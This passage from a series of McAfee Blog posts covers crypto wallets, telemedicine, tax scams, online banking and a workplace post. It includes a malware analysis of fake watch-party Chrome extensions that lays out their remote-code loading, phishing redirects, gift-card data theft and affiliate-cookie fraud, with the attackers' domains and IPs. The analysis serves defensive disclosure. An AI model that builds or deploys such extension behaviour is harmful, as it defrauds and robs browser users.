Software wallets are downloaded and internet-connected mobile or desktop apps. They allow you to make transactions on the run, as you can access your crypto accounts from your phone. In that sense, they’re more convenient than hardware wallets. Additionally, software wallets have the same safety net as custodial wallets: if you lose your phone, forget your password, or require login assistance, the maker of the software can help you access your accounts. Software wallets are very secure when you enable their two-factor authentication login settings; however, since they connect to the internet, there’s always a chance a cybercriminal could break-in. Thus, hardware wallets are considered more secure than the software variety. 

How to Keep Your Crypto Wallet Safe 

Check out these tips to ensure your assets are safe and secure in your crypto wallet: 

  1. Check your accounts regularly. It’s imperative that you check your crypto wallet regularly to ensure that your accounts look in order and you can catch suspicious activity quickly. Crypto wallets and digital wallets are unlike the physical one you carry in your pocket or your bag, because when your physical wallet goes missing, you’re likely to notice it quickly. “Phone, keys, wallet” is a mantra most of us sing before walking out the door. Plus, everyone knows the immediate steps to take when a physical wallet goes missing: retrace your steps, put a hold on credit and debit cards, file for a new driver’s license. If you think something is amiss with your wallet, cancel any credit cards linked to your account, change your password immediately and set up two-factor authentication if you haven’t already.
  2. Set up two-factor authentication. Speaking of login security, always make sure you enable two-factor authentication. It is one of the best ways to deter a thief. If your device has biometric authentication, that’s even better. This means that only a scan of your face, voice, or fingerprint will open your accounts. 
  3. Know how to identify crypto wallet scams. Watch out for phishers who may be persistent in trying to gain access to your cryptocurrency accounts. If anyone by email, text, phone, or snail mail asks for your private key, ignore the correspondence and go on high alert. Never share your private key with anyone! Phishing attempts often use fear or excitement to trick people into divulging personal information, so don’t fall for messages masquerading as contests or as a crypto company that needs your private key to restore your accounts.

Explore Crypto Safely and Confidently

Cryptocurrency value is reaching galactic heights like the spaceships depicted in prime-time ads. Don’t feel pressured to hop aboard the crypto rocket, but if you do decide to jump on, make sure you do your research carefully and make the best decisions for your crypto goals. 

The post What Is a Crypto Wallet and How to Keep Your Wallet Secure? appeared first on McAfee Blog.

Helping Mom & Dad: Online Doctor Visits and Telemedicine

By McAfee

Whether it’s for routine care, a prescription refill, or a simple follow-up, online doctor visits offer tremendous benefits in terms of both convenience and ease of care—all good reasons to help mom and dad get connected with it. what is telemedicine

There’s no doubt that more older adults than ever are taking advantage of online doctor visits, more formally known as telemedicine. While usage numbers have risen dramatically across all age groups, it’s particularly so for elders. Pre- and post-pandemic numbers saw a 63-fold increase in Medicare telemedicine use.

However, many older patients are missing out and not using telemedicine for one reason or another. What’s holding them back? Several things, according to research from the University of California, San Francisco: 

  • Unreadiness with regards to technology, such as not having access to a telemedicine-ready device or knowing how to use it. 
  • A lack of familiarity with the internet, particularly if they have not used email, texting, or the internet in general within the past month. 
  • Physical challenges, involving vision or otherwise the ability to converse over a video call. 
  • No access or limited access to a broadband connection (particularly in rural areas). 

Moreover, another issue is that many older adults do not know that telemedicine is an option. Research from the University of Michigan showed that 55% of older adults surveyed were unaware if their healthcare provider even offered telemedicine as a service. And perhaps quite telling is that the same survey revealed nearly half of older adults harbored concerns about privacy and did not feel personally connected to their care provider during their visits. 

For us as children and grandchildren of older adults, it can be tough knowing that a loved one is missing out on an avenue of care that they could otherwise benefit from. While we absolutely respect what they feel is comfortable and trustworthy for them, there are several other areas where we can help the older loved ones in our lives overcome the issues and concerns they face.  

With that, let’s talk about the technology behind telemedicine and how you can help them use it, and address some of those privacy issues as well. 

Easing into telemedicine 

As indicated above, paying a visit to the doctor via telemedicine can be a big jump. Just as the idea of it is new for many of us, it’s yet newer for older adults. There’s a good chance that you’re familiar with video chats and calls already, which gives you a foundation we can work with when it’s time to see the doctor on a screen. That may not be the case for older adults. Add that into the privacy concerns and decades of seeing a doctor in person, you can see why some older adults simply choose to opt-out. 

One way you can help is to have a few video chats with your older loved ones. In addition to the regular calls you make, you might want to try having a video chat with them from time to time. It’s an outstanding way to spend time together when you can’t be together in person, and it may develop a comfort level with the technology so that they may be willing to give telemedicine a try. You can check out my earlier article in this series that covers video chats with mom and dad, along with straightforward steps to get them up and running on the technology and how to use it. 

Get them set up on the right device for telemedicine 

One thing your parents will need for their visit is a reliable device that they’re comfortable using. It could be a computer or laptop, or it may be a smartphone or tablet. Note that in some cases their healthcare provider may use a telemedicine solution that has certain requirements as well, so you’ll want to see what those are and ensure that the device mom or dad has is compatible. (For example, the care provider may have an app that’s available through the Apple App Store or Google Play. Others may have an online platform that can be accessed by several different kinds of devices.) 

If they’re using a smartphone or tablet, that will likely make things easier because the camera and microphone are already integrated into the device—all set up and ready to go. For a computer or laptop, you can help them get familiar with the setup, like the microphone levels, speaker volume, and camera. For audio, you can see a set of headphones or smartphone earbuds work well for them, which can help prevent audio feedback loops and simply make it easier to hear the caregiver.  

If you’re looking for a little assistance with a Windows computer, you can check out this quick article for setting up the audio and this article for setting up the camera. For Macs, check out this article for audio and this article for the video. 

Make sure their technology is secure 

If they don’t already have comprehensive online protection software for their devices, look into getting it. This will protect them against malware, viruses, and phishing attacks. They’ll also benefit from other features that help them manage their passwords, protect their identity, safeguard their privacy, and more. 

As for privacy in general, medical information is among the most precious information any of us have. For example, here in the U.S., we have HIPPA privacy standards to protect our medical records and conversations. Yet there’s also the issue of eavesdropping, which is a risk in practically any online communication.  

To help address privacy issues and concerns, health care providers will often post a set of Frequently Asked Questions (FAQ) as part of their telemedicine service. Within that, you’ll very likely find a section on personal privacy and the technologies in place to protect it. Here’s a good example of a telemedicine FAQ from the University of Washington Medicine and another example from the telemedicine page that Virginia Mason/Franciscan Health designed for its patients 

In all, if your parents have concerns about their privacy, you can absolutely assure them that it’s a valid concern. Consult the provider’s FAQ for guidance. If either of you has further questions, feel free to call the healthcare provider and speak with them. 

Help them pick a private place and get prepared for the call 

In addition to digital security, there’s the possibility of physical eavesdropping, somebody actually listening in on their conversation from another room, apartment, or from the street. Help your older loved ones pick a place in their home where they can have some privacy and where they can’t be overheard by neighbors and passers-by. A bedroom is a fine place—or any location that’s familiar and comfortable as well. When choosing a private place, a well-lit location is important as well so that the camera captures a nice and clear image. 

Additionally, you can help them prep for their visit by putting together a list of things to discuss during the visit. The U.S. Department of Health and Human Services suggests writing things down: 

  • Make a list of their current medications (or gather the actual bottles). 
  • Write down any symptoms, questions, or concerns they want to discuss during the appointment, so they do not forget them. 
  • If their doctor has requested information like their temperature or weight have this information ready. 
  • Keep paper nearby to take notes about what the doctor says during the video visit. 

Make their telemedicine visit safer with these tips 

In addition to the above, there are further measures you can help your parents or older loved one take to further secure their telemedicine visit—and their internet usage in general. 

1) Use strong, unique passwords 

Your telemedicine visit may require setting up a new account and password. When doing so, make sure it’s with a strong, unique password. A password manager can help. Also found in comprehensive online protection software, a password manager can create and securely store strong and unique passwords for your mom and dad, giving them one less thing they need to remember and worry about. 

2) Use a VPN 

A VPN, or virtual private network, offers a strong layer of additional protection when you’re transmitting health data or simply having a private conversation about your health with a professional. A VPN creates an encrypted tunnel to keep you and your activity anonymous. In effect, your data is scrambled and hidden to anyone outside your VPN tunnel, thus making your private information difficult to collect. Check with the care provider to see if their telemedicine solution uses a VPN. If not, you can always get a VPN as part of your online protection software. 

3) Secure their internet router 

Beyond their devices, securing their internet router is an important step in making a telemedicine visit safe and secure. The data that travels along it is of a highly personal nature already, so make sure the router has a strong and unique password. Also, change the name of their router so it doesn’t give away their address or any other signs of their identity. One more step is to check that your router is using an encryption method, like WPA2, which will keep your signal secure. If you have questions, check with their internet provider—they may even offer up a newer, more secure router to replace an older one. 

The best telemedicine choice is the one that’s right for your parents 

As with anything concerning their health, have your parents and loved ones consult with their caregivers to ensure that a telemedicine visit is a proper course for them.  

So while the technical ins and outs of preparing for a telemedicine visit may have their challenges for some older adults, we should also realize that getting comfortable with the idea of a telemedicine visit in the first place may take some time and effort. Starting with regular video chats with the family may increase familiarity and ease with holding a conversation over video. Likewise, having a conversation with their doctor about telemedicine may put some concerns to rest as well. After all, they will have a relationship with their doctor. Getting the facts from the doctor, face to face may help. 

We all want what’s best, particularly when it comes to the care of our parents and older loved ones in our lives, and choosing to try telemedicine is a highly personal decision for them. I hope this article and the resources cited within it will help you enable them to make the choice that’s comfortable, effective, and right for them. 

The post Helping Mom & Dad: Online Doctor Visits and Telemedicine appeared first on McAfee Blog.

Imposter Netflix Chrome Extension Dupes 100k Users

By McAfee Labs

Authored by Oliver Devane, Vallabh Chole, and Aayush Tyagi 

McAfee has recently observed several malicious Chrome Extensions which, once installed, will redirect users to phishing sites, insert Affiliate IDs and modify legitimate websites to exfiltrate personally identifiable information (PII) data. According to the Google Extension Chrome Store, the combined install base is 100,000 

McAfee Labs has observed these extensions are prevalent in USA, Europe and India as we can observe in the heatmap below. 

The perpetrator targets over 1,400 domains, where 100 of them belong to the top 10,000 Alexa ranking including hbomax.com, hotels.com and expedia.com.

One extension, ‘Netflix Party’, mimics the original Netflix Party extension, which allows groups of people to watch Netflix shows at the same time. However, this version monitors all the websites you visit and performs several malicious activities.  

The malicious actor behind the extensions has created several Twitter accounts and fake review websites to deceive users into trusting and installing the extensions. 

The victim will be tricked into installing the extension and their data will be stolen when browsing a gift card site.  

The details of each step are as follows: 

  1. The perpetrator creates malicious extensions and adds them to the Chrome Extension Store. They create fake websites to review the extensions and fake Twitter accounts to publicize them.  
  2. A victim may perform a web or Twitter search for Netflix Party, read the review and click on a link that will lead them to the Google Chrome Store.  
  3. They click to install the Extension and accept the permissions. 
  4. The victim will either perform a web search or directly navigate to the gift card website. The Extension will identify the website and redirect them to the phishing page. 
  5. The victim will enter their gift card information on the phishing page. 
  6. The gift card information is posted to the server to which the malicious actor has access. They can now use or sell the stolen data and the victim will lose their funds. 

Technical Analysis 

This section contains the technical analysis of the malicious chrome extension “bncibciebfeopcomdaknelhcohiidaoe“. 

Manifest.json 

The manifest.json file contains the permissions of the extension. The ‘unsafe-eval’ permission in the ‘content_security_policy’ and the allowed use of content.js on any website visited by the user is of particular concern 

Background.js 

When the extension is installed, the background.js script will be loaded. This file uses a simple obfuscation technique of putting all the code on one line which makes it difficult to read. This is easily cleaned up by using a code beautifier and the image below shows the obfuscated script on the first line and the cleaned-up code below the red arrow.  

This script accesses https://accessdashboard[.]live to download a script and store it as variable ‘code’ in Chromes local storage. This stored variable is then referenced in the content.js script, which is executed on every visited website.  

Content.js 

After beautification, we see the code will read the malicious script from the ‘code’ variable which was previously stored. 

‘Code’  

The malicious code has three main functions, redirection for phishing, modifying of cookies to add AffiliateIDs, and modifying of website code to add chat windows.  

Redirection for Phishing 

Redirection for phishing works by checking if the URL being accessed matches a list, and conditionally redirects to a malicious IP that hosts the phishing site.  

URLs monitored are: 

  • https[:]//www.target.com/guest/gift-card-balance 
  • https[:]//www.macys.com/account/giftcardbalance 
  • https[:]//www.nike.com/orders/gift-card-lookup 
  • https[:]//www.nordstrom.com/nordstrom-gift-cards 
  • https[:]//www.sephora.com/beauty/giftcards 
  • https[:]//www.sephoragiftcardbalance.com 
  • https[:]//balance.amexgiftcard.com 
  • https[:]//prepaidbalance.americanexpress.com/GPTHBIWeb/validateIPAction.do?clientkey=retail%20sales%20channel 
  • https[:]//amexprepaidcard.com 
  • [:]//secure4.store.apple.com/shop/giftcard/balance 

Upon navigating to one of the above sites, the user will be redirected to 164[.]90[.]144[.]88. An observant user would notice that the URL would have changed to an IP address, but some users may not. 

The image below shows the Apple Phishing site and the various phishing kits being hosted on this server. 

The phishing sites share similar codes. If a user enters their gift card information, the data will be posted to 52.8.106.52. A network capture of the post request is shown below: 

Modifying of cookies to add AffiliateIDs 

The second malicious function contains AIPStore which is a dictionary containing a list of URLs and their respective monetizing sites which provide affiliate IDs. This function works by loading new tabs which will result in cookies being set on the visited sites. The flow below describes how the extension will work. 

  1. A user navigates to a retail website 
  2. If the retail website is contained in the AIPStore keymap, the extension will load a new tab with a link to a monetizing site which sets the cookie with the affiliate ID. The new tab is then closed, and the cookie will persist.  
  3. The user will be unaware that a cookie would have been set and they will continue to browse the website. 
  4. Upon purchasing any goods, the Affiliate ID will be recognized by the site vendor and commission will be sent to the Affiliate ID owner which would be the Malicious Actor 

The left image below shows the original site with no affiliate cookie, the one on the right highlights the cookie that has been added by the extension. 

Chat Windows 

The final function checks a list of URLs being accessed and if they match, a JS script will be injected into the HTML code which will result in a chat window being displayed. The image below shows the injected script and the chat window. 

The chat window may be used by the malicious actor to request PII data, credit card, and product key information. 

Conclusion 

This threat is a good example of the lengths malicious actors will go to trick users into installing malware such as creating Twitter accounts and fake review websites.  

McAfee advises its customers to be cautious when installing Chrome Extensions and pay attention to the permissions that they are requesting.  

The permissions will be shown by Chrome before the installation of the Extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog 

McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.  

The Malicious code within the extension is detected as Phish-Extension. Please perform a ‘Full’ scan via the product. 

Type  Value  Product  Detected 
URL – Phishing Sites  164.90.141.88/*  McAfee WebAdvisor  Blocked 
Chrome Extension  netflix-party – bncibciebfeopcomdaknelhcohiidaoe  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  teleparty – flddpiffdlibegmclipfcnmaibecaobi  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hbo-max-watch-party – dkdjiiihnadmgmmfobidmmegidmmjobi  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  prime-watch-party – hhllgokdpekfchhhiknedpppjhgicfgg  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  private-watch-party – maolinhbkonpckjldhnocgilkabpfodc  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hotstar-ad-blocker – hacogolfhplehfdeknkjnlblnghglfbp  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hbo-ad-blocker – cbchmocclikhalhkckeiofpboloaakim  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  blocksite – pfhjfcifolioiddfgicgkapbkfndaodc  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hbo-enhanced – pkdpclgpnnfhpapcnffgjbplfbmoejbj  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hulu-watch-party – hkanhigmilpgifamljmnfppnllckkpda  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  disney-plus-watch-party – flapondhpgmggemifmemcmicjodpmkjb  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  spotify-ad-blocker – jgofflaejgklikbnoefbfmhfohlnockd  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  ott-party – lldibibpehfomjljogedjhaldedlmfck  Total Protection and LiveSafe  Phish-Extension 

 

 

The post Imposter Netflix Chrome Extension Dupes 100k Users appeared first on McAfee Blog.

The IRS “Dirty Dozen” – Top Tax Season Scams to Steer Clear of This Year

By McAfee

Who loves tax season besides accountants? Scammers.  

Emotions can run high during tax time. Even if you’re pretty sure you did everything right, you may still have a few doubts kicking around. Did I file correctly? Did I claim the right deductions? Will I get audited? As it turns out, these are the very same anxieties that criminals use as the cornerstone of their attacks.   

So yes, crooks indeed love tax season. Particularly online. And they’ll bait your digital world with several proven types of scams in an effort to cash in on what can be a somewhat uncertain time. 

The good news is that you have plenty of ways to protect yourself from these scams. Let’s look at what scammers typically have in store, along with some practical advice to protect yourself as you file your taxes—things you can do to keep crooks out of your business this tax season. Don’t delay, download McAfee’s tax season security guide to avoid the latest tax scams.

The tax scam landscape 

First, know that you’re probably doing a good job with your taxes. Less than 2% of returns get audited and most discrepancies or adjustments can get handled easily if you address them promptly. 

Still, the wariness of the IRS and intricate tax laws makes for ripe pickings when it comes to hackers, who prey on people’s fear of audits and penalties. Common scams include fake emails, phone calls from crooks posing as IRS agents, and even robocalls that threaten jail time.  

What are crooks looking to do with their scams? Several things: 

  1. Steal account information – Scammers will often try to highjack account or financial information associated with credit cards and banks to steal funds and make purchases with the victim’s accounts. 
  2. File false returns – Scammers will also try and get their hands on personal information like Social Security Numbers, taxpayer ID numbers, and other unique information so that they can file false returns in the victim’s name and claim their refunds. 
  3. Commit identity theft – Scammers may then use this same personal information to open new credit lines and accounts in the victim’s name, as well as commit other forms of identity theft like assuming a victim’s identity to gain employment, housing, insurance, or a driver’s license. 

As if we didn’t have enough to worry about at tax time without crooks in the mix. 

The IRS Dirty Dozen: 12 tax-season scams 

Investigating the landscape even more closely, we can turn to the authority itself, as the IRS has published its most recent top 12 tax season scams, a broad list that includes: 

  • Phishing attacks 
  • Fake charities 
  • Threatening impersonator phone calls 
  • Social media fraud 
  • Refund Theft 
  • Senior Fraud 
  • Fraud targeting non-English speakers 
  • Unscrupulous return preparers 
  • “Offer in Compromise” mills 
  • Fake payments with repayment demands 
  • Payroll and HR scams 
  • Ransomware 

 

For a comprehensive look at each one of these scams, and for ways, you can steer clear of them, check our Guide to IRS & Tax Season Scams. However, there are some common threads to many of these scams. 

For starters, plenty of tax scams involve crooks posing as an IRS employee, perhaps via a phone call or email, to glean personal information from you, or to demand payment—sometimes under the threat of penalties or even jail time. Crooks won’t hesitate to use strong-arm tactics like these and play on your fears. The good news is that such tactics are typically a sign that the contact isn’t legitimate. In fact, a quick way to spot a scam is to know what the IRS won’t do when they contact you. From the IRS.gov website, the IRS will not: 

  • Initiate contact with taxpayers by email, text messages, or social media channels to request personal or financial information. 
  • Call to demand immediate payment using a specific payment method such as a prepaid debit card, gift card, or wire transfer. Mention of prepaid cards or wire transfer as a payment option is a surefire sign of a scam. 
  • Demand that you pay taxes without the opportunity to question or appeal the amount they say you owe. You should also be advised of your rights as a taxpayer. 
  • Threaten to bring in local police, immigration officers, or other law enforcement to have you arrested for not paying. The IRS also cannot revoke your driver’s license, business license, or immigration status. Threats like these are common tactics scam artists use to trick victims into buying into their schemes. 

What will the IRS do? Usually, the IRS will first mail a notification to any taxpayer who owes taxes. IRS collection employees might call on the phone or make an unannounced visit to your home or business. If they require payment, the payment will always be to the U.S. Treasury. Read about other ways to know what the IRS won’t do when they contact you. 

Other types of tax scams that crooks love to use 

Scammers won’t limit themselves to posing as the IRS. They’ll act as an imposter in several other ways as well. For example, they may pose as a popular do-it-yourself tax brand, a tax preparer, or even as a phony charitable organization that promises any donations you make are tax-deductible.  

Here, they may send you phony emails or direct messages or even ring you up with bogus telemarketing or robocalls designed to steal personal information. 

In the cases where the scammers reach you online, the emails and messages they send will vary in their tone and polish—in other words, how authentic they appear. Some will look nearly legitimate and cause even the most hardened of digital skeptics to click on a phony link or download a sketchy attachment. Others, well, will look clearly like spam, complete with spelling and grammatical errors, along with clumsy use of logos, layouts, and design.  

Taken together, both are ways that scammers get people to visit sites designed to compromise personal information … or to download malware like keyloggers that skim account passwords and ransomware that encrypt a victim’s files hold them hostage for a price.  

Social media attacks also made the IRS Dirty Dozen. In a social media attack, scammers harvest information from social media profiles and turn it against their victims. Per the IRS, because “social media enables anyone to share information with anyone else on the Internet, scammers use that information as ammunition for a wide variety of scams. These include emails where scammers impersonate someone’s family, friends, or co-workers.” 

With those personal details gleaned from social media, scammers will send phony links to scam sites, promote bogus charities, or flat-out ask for money or gift cards to “help them out” at tax time.  

Protecting yourself from tax season scams 

Keep your guard up for spammy messages and phishing attacks 

No question that bogus emails, messages, and phone calls remain a popular way for scammers to steal personal and financial information. Spam emails, messages, and the malicious links associated with them abound this time of year as well. It’s always to keep a critical eye open for these, and it’s particularly true during tax season.  

View all emails with attachments and links with suspicion, even if they appear to come from a person, business, or brand you know. Confirm attachments with the people you know before opening. And if you receive a message or alert about an account of yours, visit that company or organization’s website directly to enquire into the status of your account rather than taking a chance by clicking on a link that could send you to a phony website. 

File A.S.A.P. and check your credit report 

One way to protect yourself from an identity thief from claiming a return in your name is to file yours before they do. In fact, many victims of identity theft find out they’ve been scammed when they receive an IRS notification that their tax claim has already been filed. Simply put, file early. 

Here’s another tool that can help you fight identity theft. And get this: it’s not only helpful, but it’s also free. Through the Federal Trade Commission, you are entitled to a free copy of your credit report from each of the three major credit reporting companies once every 12 months. In this report, you can find inaccuracies in your credit or evidence of all-out identity theft.  

Keep in mind that you get one report from each of the reporting companies each year. That works out to three reports total in one year. Consider this: if you request one report from one credit reporting company every four months, you can spread your free credit report coverage across the whole year. 

Keep your social media profiles and posts close to the vest 

As with much of the guidance we offer around social media, one of the best ways to prevent such social media tax attacks is to make your profiles private so that only friends and family can see them. That way, scammers will have a far more difficult time reaching you. Moreover, consider paring back the information you share in your social media profiles, like your alma maters, birthday, mother’s maiden name, pet names—any personal information that a scammer may use to compromise your accounts or the security questions associated with them. 

Security software can protect you from fraud and theft too 

Protecting your devices with comprehensive online protection softwarecan help block the phishing emails and suspicious links that make up many of these tax attacks. Likewise, it can further protect you from ransomware attacks like mentioned above. Additionally, our online Protection Score looks for weak spots in your protection and helps you shore them up, such as if discovers that your info was compromised or part of a data breach. From there, it guides you through the steps to correct the problem. 

Further, consider online protection software that offers identity theft protection as well. A strong identity theft protection package offers cyber monitoring that scans the dark web to detect misuse of your personal info. With our identity protection service, we help relieve the burden of identity theft if the unfortunate happens to you with $1M coverage for lawyer fees, travel expenses, lost wages, and more.  

Think you’ve been a victim of a tax scam? 

The IRS offers steps you can take in the event you suspect fraud or theft. Their current resources include: 

  • Contacting the Treasury Inspector General for Tax Administration to report a phone scam. Use their “IRS Impersonation Scam Reporting” web page. You can also call 800-366-4484. 
  • If the scam relates to your state income taxes, report it to your state Attorney General’s office. 
  • Report phone scams to the Federal Trade Commission as well with the “FTC Complaint Assistant” on FTC.gov. They ask you to add “IRS Telephone Scam” in the notes. 
  • Reporting an unsolicited email claiming to be from the IRS, or an IRS-related component like the Electronic Federal Tax Payment System, to the IRS at phishing@irs.gov. 

Take a deeper dive on the topic of online tax scams 

As mentioned above, you can get even more up to speed on the different tricks hackers are using by downloading our Guide to IRS & Tax Season Scams. It’s free, and it offers more ways you can protect your identity and information this tax season and year ‘round. 

The post The IRS “Dirty Dozen” – Top Tax Season Scams to Steer Clear of This Year appeared first on McAfee Blog.

McAfee Teammates Share How They’ll Help #BreakTheBias this International Women’s Day

By McAfee

International Women’s Day serves as an important reminder that each and every one of us plays a role in recognizing and addressing gender bias. Together, we can make a difference in creating a more equitable world for all.

At McAfee, we know that genuine change requires continuous commitment. And while we’re proud of the efforts we’re making as a company – from being the first cybersecurity company to achieve global pay parity (and maintain it), to expanded time off for new parents, to a woman on every hiring panel to help remove bias – we know there is more to do.

This International Women’s Day and beyond, McAfee team members around the globe share how they’ll continue to advance inclusion and gender equality by actively working to #BreakTheBias.

JaffarSadhik

Software Quality Engineer (India)

A gender equal world starts with a change. A change within families, a change with perspectives, a change among society!

 

 

Arathi

Program Manager (Canada)

I am helping to #BreakTheBias by teaching my son that both boys and girls, men and women can do it all.

 

Krupali

Sr Market Research Analyst (USA)

We need to think differently. Women have, are and will always be quintessential architects of society. Together we can #BreakTheBias

 

Ambareen
Software Engineer (UK)

Collectively we can all #BreakTheBias! I am doing my part and learning from my mum and helping the next generation believe in themselves irrespective of gender.

 

Kevin
Real Estate & Workplace Strategy (Ireland)

Equality can only be achieved if diversity, difference and qualities of woman are truly valued. We must work together to acknowledge and #BreakTheBias.

 

Darya
Channel Marketing (Australia) 

Bias against anyone for simply being different, limits our growth and is a significant waste of talent, energy and happiness. I commit to taking an active role in questioning perceptions to do my part to influence change.

 

Natalia
Software Sales (Canada)

I will help #BreakTheBias by raising and supporting a strong independent young adult and setting an example for her. I do so by choosing my career path while leading and growing personally and professionally!

 

Winnie
Talent Acquisition Partner (Australia)

I will #BreakTheBias by addressing and challenging gender stereotypes. 

 

Aisling
Senior People Partner (Ireland)

I will help #BreakTheBias by encouraging conversations around diversity, challenging myself and others to consider where we can make changes that will have a positive impact.

 

 

Join McAfee and millions of others around the world in celebrating International Women’s Day by sharing how you’ll #BreakTheBias.

Interested in building your career at a company that helps women thrive? Search our openings!

The post McAfee Teammates Share How They’ll Help #BreakTheBias this International Women’s Day appeared first on McAfee Blog.

Kids Back To School – The Perfect Time to Audit Your Family’s Online Safety

By Alex Merton-McCann

When Aussie school opened their doors this year, the lifespan of parents around the country drastically improved. The combination of homeschooling, working from home, and not going anywhere has completely drained many Aussie working parents, me included!! Many of us have been in survival mode – just focusing on the basics to get through! 

Well, now we’re getting back to some sort of normal and we have a little more time to breathe, it’s time to focus on those overdue jobs and that includes doing an audit of your family’s online safety. Now, I know it might seem boring, but I promise you it’s worth the effort. So, I thought I’d share with you a checklist of what you need to do to ensure your family is as safe as possible when online. Let’s get started: 

1. Passwords 

Your first task is to ensure every family member has a different password for each of their online accounts. Yes, I know – that sounds completely overwhelming. But hear me out. If you have the same password for all your online accounts and you get hacked, then you could be in a world of pain – as the hacker now has access to all your online accounts!! So, this is very much worth sorting out.  

Now, there are many ways of managing a long list of passwords. You could write them down in a special, secret book. You could call on your Mensa level memory and try to remember 50 plus passwords – unfortunately, that’s not me! So, let me give you the best solution – a password manager. Password Managers can both generate and remember super complex passwords that no human could even concoct. Check out McAfee’s True Key – it’s free and a complete no-brainer, my friends! 

2. Software Updates 

Before my life as Cybermum, I used to think software updates were a massive inconvenience. Something else to add to the never-ending list. But how wrong was I! A software update addresses security flaws or bugs in the current version of the app or program. Their goal is to protect the user. So, if you’re serious about protecting your family, these updates can’t be ignored. The easiest way to manage this is to set updates to be automatic, where possible. You can also do this with apps on your phone – for both Apple and Android devices.  

3. Ensure Location Services Are Off 

Most apps, networks, and devices have geotagging features which means your whereabouts can be widely communicated if your location’s services are turned on. And don’t forget that digital photos can also give away your location as they contain metadata which is information about the time, date, and GPS coordinates of where the pic was taken. So, your job here is simple – ensure all devices have geotagging turned off. And while you’re at it, ensure your kids understand why it’s critical to keep it that way! Nothing worse than pesky strangers knowing your whereabouts! 

4. Security Software 

Not having security software installed on your devices is no different from leaving your front door unlocked. It is essential. A top-shelf security software system will detect and shut down security attacks on your system. Many will also have a firewall that constantly filters the data that both enters and leaves your computer and will block and restrict your network from viruses and hackers. It will also keep an alert to malicious software and if detected will remove issues such as viruses, worms, and Trojans. It will also stay alert to spyware that you may unintentionally download onto your system and will block and delete it if found. See what I mean? It’s essential. Check out McAfee’s Total Protection which will give you peace of mind. 

Unfortunately, there are no guarantees in life however there are definitely ways to minimize risk. Following the above 4 steps will have a significant positive impact on your family’s online safety and most importantly, means you can enjoy a little peace now the kids are back to school!  

Till Next Time 

Alex x 

The post Kids Back To School – The Perfect Time to Audit Your Family’s Online Safety appeared first on McAfee Blog.

Helping Mom & Dad: Online Banking

By McAfee

Editor’s Note: This is the first in a series of articles about how we can help our elder parents get the most out of digital life—the ways we can help them look after their finances and health online, along with how they can use the internet to keep connected with friends and family, all safely and simply.

Online banking is for everyone. Or at least it should be. 

The benefits of online banking are many for our moms, dads, and grandparents, just as they are for us. Elder adults can deposit checks, pay bills, transfer money to and from investments, and so on, all without needing to leave home. However, our parents and the older people in our lives may face a few hurdles that are holding them back. As a son, daughter, or loved one, there are things you can do to help them clear those hurdles so they can enjoy the convenience of online banking, safely and securely. 

What do some of those hurdles look like?  

  • Familiarity, for one. Their comfort level with the internet simply may not be as high as ours. (After all, so many of us have grown up with it to some degree.) The web page layouts, transactional flows, and basic internet navigation sense that we all take for granted may still feel a touch foreign to them.  
  • Another hurdle is trust. Many of our parents simply know and have come to trust, in-person and face-to-face interactions, particularly at a bank. Simply put, they may be far more trusting of the teller behind the window than the web page on the browser. 

Meanwhile, the digital world continues to evolve apace, particularly with regard to online banking. Between 2018 and 2022, the number of people in the U.S. who use online banking steadily rose to more than 65%, and more than three-quarters of Americans used a mobile device the last time they checked their balance. And as of 2020, nearly two billion people worldwide used online banking, a number that only continues to increase. 

This rise in online banking has implications for the elders in our lives. Even if they aren’t active in online banking themselves, their financial information is part of this digital mix. The banks and financial institutions where they keep their savings and funds are digitally connected and digitally accessible. At a minimum, this means that they should take steps to protect themselves and their finances. Yet the upside is here is that we can help them do much more than that—that we can actually help them take advantage of online banking and enjoy its benefits. 

Setting up online banking for mom and dad—start with the basics 

Depending on their comfort level, you may want to start by reviewing some basic digital literacy before diving right into online banking. As mentioned above, there’s so much about the internet that we take for granted, and the elders in your life may benefit a little 101-level introduction to the internet. 

When you’re both confident that their comfort level with the internet is in the right place, you can move on to the next step—making sure mom and dad have solid online protection in place. This is square one before going online, particularly when you’re banking online. Some basic digital hygiene will help protect their banking and finances. Moreover, it will help protect the other things they do online as well.  

The following quick list is a great way to make them far more secure: 

1) Update their software

That includes the operating system of their computers, smartphones, and tablets, along with the apps that are on them. Many updates include security upgrades and fixes that make it tougher for hackers to launch an attack. 

2) Lock up

Computers, smartphones, and tablets will have a way of locking them using a PIN, a password, a fingerprint, or the owner’s face. Take advantage of that protection, which is particularly important if that device is lost or stolen.  

3) Learn about tracking and wiping smartphones

This is important should they lose their smartphone or believe it’s been stolen. Have them turn on device tracking so that they can locate their phone or even wipe its data and contents remotely if they need to. Apple provides iOS users with a step-by-step guide for remotely wiping devices, and Google offers up a guide for Android users as well.  

4) Use online protection software  

Protecting your devices with comprehensive online protection software will defend them against the latest virus, malware, spyware and ransomware attacks plus help steer them clear of phishing attacks and malicious websites designed to steal personal and financial information. Also, make sure it offers a password manager like ours does, which can create and store strong, unique passwords for each of their accounts—alleviating the burden of mom and dad remembering them.  

5) Look into an identity protection service

With all the personally identifiable information (PII) we create simply by using the internet, tracking and monitoring your PII is essential for preventing identity fraud and theft. The same is true for mom and dad. A strong identity theft protection package will offer cyber monitoring that can detect the misuse of your PII. Our identity protection service takes that protection a step further if the unfortunate happens with $1M coverage for lawyer fees, travel expenses, lost wages, and more. 

Take it in steps 

With their devices and PII more secure, you can move on to the banking portion itself. While there’s so much you can do with online banking, it’s a good idea to take things one at a time. Some elders aren’t sure how to sign up for online banking with their financial institution, so you can start there. Take them through the setup process (using that strong, unique password as mentioned above) and simply get them going.  

